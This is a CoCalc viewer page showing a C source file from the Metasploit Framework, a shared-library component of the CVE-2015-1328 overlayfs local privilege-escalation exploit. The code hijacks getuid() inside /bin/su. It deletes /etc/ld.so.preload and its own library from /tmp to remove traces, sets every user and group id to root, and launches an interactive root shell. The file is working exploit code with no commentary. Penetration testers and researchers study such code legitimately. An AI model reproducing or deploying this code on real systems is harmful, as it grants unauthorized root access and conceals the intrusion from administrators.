CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutSign UpSign In
rapid7

Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

GitHub Repository: rapid7/metasploit-framework
Path: blob/master/external/source/exploits/CVE-2015-1328/ofs-lib.c
Views: 11779
1
#include <unistd.h>
2
3
uid_t(*_real_getuid) (void);
4
char path[128];
5
6
uid_t getuid(void){
7
_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, "getuid");
8
readlink("/proc/self/exe", (char *) &path, 128);
9
if(geteuid() == 0 && !strcmp(path, "/bin/su")) {
10
unlink("/etc/ld.so.preload");unlink("/tmp/ofs-lib.so");
11
setresuid(0, 0, 0);
12
setresgid(0, 0, 0);
13
execle("/bin/sh", "sh", "-i", NULL, NULL);
14
}
15
return _real_getuid();
16
}
17
18